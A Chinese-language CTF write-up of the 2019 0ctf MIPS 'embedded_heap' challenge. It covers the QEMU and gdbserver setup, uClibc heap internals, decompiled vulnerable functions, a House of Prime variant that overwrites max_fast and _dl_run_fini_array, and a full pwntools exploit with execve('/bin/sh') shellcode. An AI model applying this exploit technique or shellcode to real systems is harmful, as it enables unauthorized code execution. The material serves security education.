@H4l0 2020-08-24T09:23:44.000000Z 字数 10344 阅读 2084

2019 0ctf embedded heap 题目复现

IOT

前言

复现了一下 2019 的 ctf 题目，这是一道 mips 的堆题，应该还是比较少见的，利用的攻击方式其实和 glibc 的差不多，这里重点讲解一下调试方法和利用方法。

环境准备

1. qemu-system-mips 大端系统
2. gdbserver 静态程序
3. socat 静态链接程序（方便连接连接端口）
4. 漏洞程序

gdbserver 可以下载静态编译的版本：https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver，相应的下载大小端即可

socat 的静态程序下载：https://github.com/darkerego/mips-binaries
- 参考：https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/

漏洞程序（这里直接给出大佬的链接）：https://github.com/e3pem/CTF/tree/master/0ctf2019/embedded_heap

运行、调试环境搭建

运行环境的配置

首先将 embedded_heap 程序复制到 qemu 系统模式中的根目录下，可以使用 python -m SimpleHTTPServer 的方式复制：

image.png-110.7kB

ldd 查看是否链接库有没加载对：

image.png-60.9kB

可以发现这里是正确的，如果出现下面这种找不到的情况，就将打包文件夹下的 libc 和 ld 文件放到 /lib 目录下，对应好名称即可。

image.png-54.5kB

尝试运行，发现已经可以正常运行了：

image.png-230.5kB

调试环境的配置

将 gdbserver-7.12、socat 静态链接的程序复制到根目录下，使用 gdbserver 调试的方法很简单：

root@debian-mips:/# ./gdbserver-mips 10.0.0.1:23456 ./embedded_heap
Process ./embedded_heap created; pid = 2857
Listening on port 23456

在本地宿主机运行 gdb-multiarch embedded_heap，设置 target remote 10.0.0.1 23456，如果发现是下面的情况：

image.png-235.5kB

gdb 中将 endian 设置成大端即可：

set arch mips
set endian big

设置后题调试正常：

image.png-494.3kB

部署程序

如果要将程序部署到某个端口上要怎么做呢？这里就使用最简单的 socat，当然也可以用 docker 来部署。

qemu_system 模式下的环境是不自带 socat，所以需要提前准备好 mips 架构的 socat 程序。

./socat tcp-listen:8888,fork exec:./embedded_heap

这里就在 8888 端口开启了一个服务端程序，使用 nc 连接上即可，使用 pwntools 也是一样的用法：

image.png-298.5kB

如果这里需要实现类似 pwntools 里面 gdb.attach 的用法的话，实现方法如下：
1. 在后台运行 socat 服务：./socat tcp-listen:8888,fork exec:./embedded_heap &
2. 使用 ps -aux | grep embedded_heap 找到运行起来的 embedded_heap 程序，获取到 PID 号

image.png-223kB

3 . 使用 gdbserver 附加程序进行调试：

./gdbserver-mips 10.0.0.1:3456 --attach 2730

4 . 宿主机使用 gdb-multiarch 连接上 3456 端口即可。

若 vmmap 查看的内存映射有错的话，可以查看 /proc 下的内存映射，这里堆、libc 堆地址都是准确的。

image.png-422.5kB

为了方便复现，这里先把 ASLR 关闭：

sh -c "echo '0' > /proc/sys/kernel/randomize_va_space"

uClibc 堆管理机制简单分析

到官网下载到 uClibc-0.9.33.2 的源码：https://www.uclibc.org/downloads/uClibc-0.9.33.2.tar.xz

解压到本地打开 libc/stdlib/malloc-standard/malloc.c 文件，找到两个比较重要的结构体，一个是 malloc_state，一个是 malloc_chunk：

malloc_state 用来管理整个堆结构的整体布局，和 glibc 一样，这里同时也存在 fastbins 等。这里有个比较小的差别是 max_fast 是位置是位于 malloc_state 结构体里，而 glibc 的 global_max_fast 是位于整个结构体外的。这个特点可以用来做一个扩展 fastbins 的攻击。

这里的攻击类似于使用 unsorted bin attack 将 global_max_fast 覆盖成一个大值的方法相同。

struct malloc_state {
  /* The maximum chunk size to be eligible for fastbin */
  size_t  max_fast;   /* low 2 bits used as flags */
  /* Fastbins */
  mfastbinptr      fastbins[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr        top;
  /* The remainder from the most recent split of a small request */
  mchunkptr        last_remainder;
  /* Normal bins packed as described above */
  mchunkptr        bins[NBINS * 2];
  /* Bitmap of bins. Trailing zero map handles cases of largest binned size */
  unsigned int     binmap[BINMAPSIZE+1];
  /* Tunable parameters */
  unsigned long     trim_threshold;
  size_t  top_pad;
  size_t  mmap_threshold;
  /* Memory map support */
  int              n_mmaps;
  int              n_mmaps_max;
  int              max_n_mmaps;
  /* Cache malloc_getpagesize */
  unsigned int     pagesize;
  /* Track properties of MORECORE */
  unsigned int     morecore_properties;
  /* Statistics */
  size_t  mmapped_mem;
  size_t  sbrked_mem;
  size_t  max_sbrked_mem;
  size_t  max_mmapped_mem;
  size_t  max_total_mem;
};

malloc_chunk 的结构其实和 glibc 是一样的，所以在 glibc 上的攻击手法在这里同样适用：

struct malloc_chunk {
  size_t      prev_size;  /* Size of previous chunk (if free).  */
  size_t      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

fastbins 的定义：

#define fastbin_index(sz)        ((((unsigned int)(sz)) >> 3) - 2)

如果这里的 size 为 8 时，那么 fastbin_index = (8>>3)-2 = -1，为 -1 的话，当 free 一个大小为 8 的 chunk 之后，就会将堆的地址写入 max_fast 的位置（max_fast 刚好在 fastbins[NFASTBINS]; 前面的一个位置），达到扩展 fastbin 范围的目的。
关于 mips 的堆的源码分析可以看先知的这篇文章。

漏洞点分析

静态分析

使用 ghidra 进行分析，将程序加载进去，因为开启了 PIE 保护，所以这里设置 image 基地址为 0（默认是 10000）：

image.png-356.8kB

image.png-170.3kB

根据运行的结果，总共有三个功能点：View、Update、Pwn

init 函数

大概就是随机 malloc 几块随机 size 的 chunk。


int FUN_00001140(void)
{
  int __fd;
  ssize_t sVar1;
  void *__addr;
  void *pvVar2;
  int iVar3;
  uint uVar4;
  int local_30;
  uint local_14;
  uint local_10;
  uint local_c;
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  alarm(200);
  puts(
      "    __ __ _____________   __   __    ___    ____\n   / //_// ____/ ____/ | / /  / /   /   | / __ )\n  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n / /| |/ /___/ /___/ /|  /  //___/ ___ |/ /_/ /\n/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n"
      );
  puts("===== Embedded Heap =====");
  __fd = open("/dev/urandom",0);
  if (-1 < __fd) {
    sVar1 = read(__fd,&local_14,0xc);
    if (sVar1 == 0xc) {
      close(__fd);
      __addr = (void *)(local_14 + (uint)((ulonglong)local_14 * 0x18004e01 >> 0x3b) * -0x55544000 +
                        0x10000 & 0xfffff000);
      pvVar2 = mmap(__addr,0x1000,3,0x802,-1,0);
      if (__addr != pvVar2) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      srand(local_c);
      __fd = (int)__addr + (local_10 % 0xf40 & 0xfffffff0);
      iVar3 = rand();
      local_30 = 0;
      while (local_30 < iVar3 % 0xd + 3) {
        uVar4 = rand();
        uVar4 = uVar4 & 0x800000ff;
        if ((int)uVar4 < 0) {
          uVar4 = (uVar4 - 1 | 0xffffff00) + 1;
        }
        mymalloc(__fd,uVar4);
        local_30 = local_30 + 1;
      }
      FUN_00001038(__fd);
      return __fd;
    }
  }
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

view 函数

将堆块里的内容使用 write 函数输出出来：


void FUN_000018a4(int iParm1)
{
  int iVar1;
  printf("Index: ");
  iVar1 = get_int();
  if (((iVar1 < 0) || (0xf < iVar1)) || (*(int *)(iParm1 + iVar1 * 0xc) != 1)) {
    puts("Invalid Index");
  }
  else {
    printf("Chunk[%d]: ",iVar1);
    show_content(*(undefined4 *)(iParm1 + iVar1 * 0xc + 8),*(undefined4 *)(iParm1 + iVar1 * 0xc + 4)
                );
  }
  return;
}

update 函数

重新填充堆块的内容，因为这里的 size 值可控，所以存在堆溢出。


void FUN_0000157c(int iParm1)
{
  int iVar1;
  int size;
  printf("Index: ");
  iVar1 = get_int();
  if (((iVar1 < 0) || (0xf < iVar1)) || (*(int *)(iParm1 + iVar1 * 0xc) != 1)) {
    puts("Invalid Index");
  }
  else {
    printf("Size: ");
    size = get_int();
    if (0 < size) {
      printf("Content: ");
      (*(code *)0xad0)(*(undefined4 *)(iParm1 + iVar1 * 0xc + 8),size);
      printf("Chunk %d Updated\n",iVar1);
    }
  }
  return;
}

pwn 函数

这里可以进行两次的 free 和一个的 update 操作：

  if (iVar2 == 3) {
    FUN_00001720(uVar1);
    puts("One more time! Try it harder!");
    FUN_00001720(uVar1);
    puts("Everything is still fine. Is that all you got?");
    undate(uVar1);
    return 0;
  }

FUN_00001720 函数指定 index 之后就行 free 的操作，这里不存在 UAF：


void FUN_00001720(int iParm1)
{
  int index;
  printf("Index: ");
  index = get_int();
  if (((index < 0) || (0xf < index)) || (*(int *)(iParm1 + index * 0xc) != 1)) {
    puts("Invalid Index");
  }
  else {
    *(undefined4 *)(iParm1 + index * 0xc) = 0;
    *(undefined4 *)(iParm1 + index * 0xc + 4) = 0;
    free(*(void **)(iParm1 + index * 0xc + 8));
    *(undefined4 *)(iParm1 + index * 0xc + 8) = 0;
    printf("Chunk %d Deleted\n",index);
  }
  return;
}

漏洞利用

整体利用思路

参考文章中的思路，这里可以使用 House of Prime 这个技巧来进行攻击，通过溢出将下一个 chunk 的 size 覆盖为 8，free 掉这个 size 之后，就会将当前堆的地址写入到 malloc_state 当中的前一个位置，这里刚好是 max_fast 的地址。这时候不管之后 free 的 size 的大小为多少，都会当作 fastbin 来对待。

这样再通过一次溢出，将写一个 chunk 的 size 改成一个精心控制的值，就可以向一定范围内写入一个堆地址（fastbin 机制的特点，不清楚的可以去 ctfwiki 上看看！）。

那么这里可以借鉴格式化字符串漏洞的利用方法，将某个地址写入到 .fini.array 区段中，程序在退出时，就会返回到这个地址中。

获取 libc 基地址

查看 /proc/2730/maps 获取 libc 的基地址：0x77f78000:

root@debian-mips:/# cat /proc/2402/maps
2633a000-2633b000 rw-p 00000000 00:00 0
55550000-55552000 r-xp 00000000 08:01 14         /embedded_heap
55561000-55562000 r--p 00001000 08:01 14         /embedded_heap
55562000-55563000 rw-p 00002000 08:01 14         /embedded_heap
55563000-55564000 rwxp 00000000 00:00 0          [heap]
77f78000-77fca000 r-xp 00000000 08:01 787636     /lib/libc.so.0
77fca000-77fd9000 ---p 00000000 00:00 0
77fd9000-77fda000 r--p 00051000 08:01 787636     /lib/libc.so.0
77fda000-77fdb000 rw-p 00052000 08:01 787636     /lib/libc.so.0
77fdb000-77fe0000 rw-p 00000000 00:00 0
77fe0000-77fe7000 r-xp 00000000 08:01 787634     /lib/ld-uClibc.so.0
77ff4000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00006000 08:01 787634     /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00007000 08:01 787634     /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rw-p 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]

同时发现这里的 heap 区域是 rwx，也就是不存在 NX 保护，可以直接将程序控制流劫持到这里执行 shellcode。

将堆地址写入 max_fast

通过第一个 chunk 的溢出，将下一个 chunk 的 size 修改成 9：

payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1]    # size 改成 9 ，其中一位为标志位。
update(p,0,ck0_size+0x10,payload)

malloc_state 地址的查找，动态调试查看变化：

使用 IDA 打开 libc.so.0 文件，找到 malloc_trim 函数，往下滑双击就可以看到这个地址：

image.png-604.4kB

malloc_state 在 libc 中的偏移地址为：0x00066D7C

使用 gdb-multiarch 进行调试：

delete(1) 之前大小为 0x48：
image.png-97.1kB

delete(1) 之后就会向这个位置写入一个堆地址：

image.png-958.5kB

将堆地址写入到 _dl_run_fini_array

_dl_run_fini_array 的作用类似于上面说的 .fini.array，只不过这个是在 ld 的区段中。

vmmap 获取 ld 的加载地址为：0x77fe0000，在 IDA 中获取到 _dl_run_fini_array 的偏移为 0x00017064：

image.png-559.3kB

通过计算得到需要更改的 size 为 0x305d9 ，具体的计算方法可以查看参考文章。

在调用 pwn 函数之前，先 update 一个 chunk：

payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
update(p,2,ck2_size+0x10,payload)

gdb 调试时查看相应位置的值：

delete(3) 之前：

pwndbg> x/10xw 0x77fe0000+0x00017064
0x77ff7064: 0x77fe16e4 <-- got 表的值  0x77ff71ac  0x77fe187c  0x77ff716c
0x77ff7074: 0x77fe19d0  0x77ff719c  0x77fe1e34  0x77ff7010
0x77ff7084: 0x77ff7194  0x77ff71b8

delete(3) 之后，这里已经是被修改成了堆地址了，所以现在我们退出程序时，就会 call 这个地址。

pwndbg> x/10xw 0x77fe0000+0x00017064
0x77ff7064: 0x555631b0 <-- got 表的值  0x77ff71ac  0x77fe187c  0x77ff716c
0x77ff7074: 0x77fe19d0  0x77ff719c  0x77fe1e34  0x77ff7010
0x77ff7084: 0x77ff7194  0x77ff71b8

pwndbg> x/20xw 0x555631b0
0x555631b0: 0x61616161  0x000305d9  0x77fe16e4  0x00000000
0x555631c0: 0x0000000a  0x00000000  0x00000000  0x00000000
0x555631d0: 0x00000000  0x00000000  0x00000000  0x00000000
0x555631e0: 0x00000000  0x00000000  0x00000000  0x00000000
0x555631f0: 0x00000000  0x00000000  0x00000000  0x00000000

于是这里我们只需要把这个堆地址的内容提前填充成 shellcode 就行。

shellcode 可以使用 msf 生成，也可以直接找现成的。

这里使用这个 shellcode，执行 execve("/bin/sh")：

\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c

运行 EXP getshell：

image.png-203.7kB

EXP：

这里引用了大佬的 exp：

from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
def update(p,idx,size,content):
    sla(p,'Command: ',str(1))
    sla(p,'Index: ',str(idx))
    sla(p,'Size: ',str(size))
    sla(p,'Content: ',str(content))
def get_chunk_size(size):
    if size%4==0:
        if size%8==0:
            size = size+4
        else:
            pass
    else:
        size = size+4-size%4
        if size%8==0:
            size = size+4
    if size <= 8:
        size = 12
    return size
def delete(p,idx):
    sla(p,'Index: ',str(idx))
def pwn():
    DEBUG = 0
    context.arch = 'mips'
    context.endian = 'big'
    BIN_PATH = './embedded_heap'
    elf = ELF(BIN_PATH)
    if DEBUG == 1:
        p = process(BIN_PATH)
        #context.log_level = 'debug'
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
        p = remote('10.0.0.1',8888)
        # libc = ELF('./libc_32.so.6')
        #context.log_level = 'debug'
    # 0x5555#55554000
    ru(p,'Chunk[0]: ')
    ck0_size = int(ru(p,' ')[:-1])
    ck0_size = get_chunk_size(ck0_size)
    ru(p,'Chunk[2]: ')
    ck2_size = int(ru(p,' ')[:-1])
    ck2_size = get_chunk_size(ck2_size)
    log.info('chunk 0 size: '+str(ck0_size))
    log.info('chunk 1 size: '+str(ck2_size))
    payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1]
    update(p,0,ck0_size+0x10,payload)
    payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
    update(p,2,ck2_size+0x10,payload)
    # pwn
    sla(p,'Command: ',str(3))
    delete(p,1)
    sla(p,'Index:',str(3))
    #delete(p,3)
    #sla(p,'Index: ',str(3))
    sc = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
    sla(p,"Index:",str(2))
    sla(p,'Size: ',str(ck2_size+0xff))
    sa(p,"Content:",'a'*(ck2_size-4)+sc.ljust(0xff+4,"\x61"))
    p.interactive()
pwn()

参考文章

https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/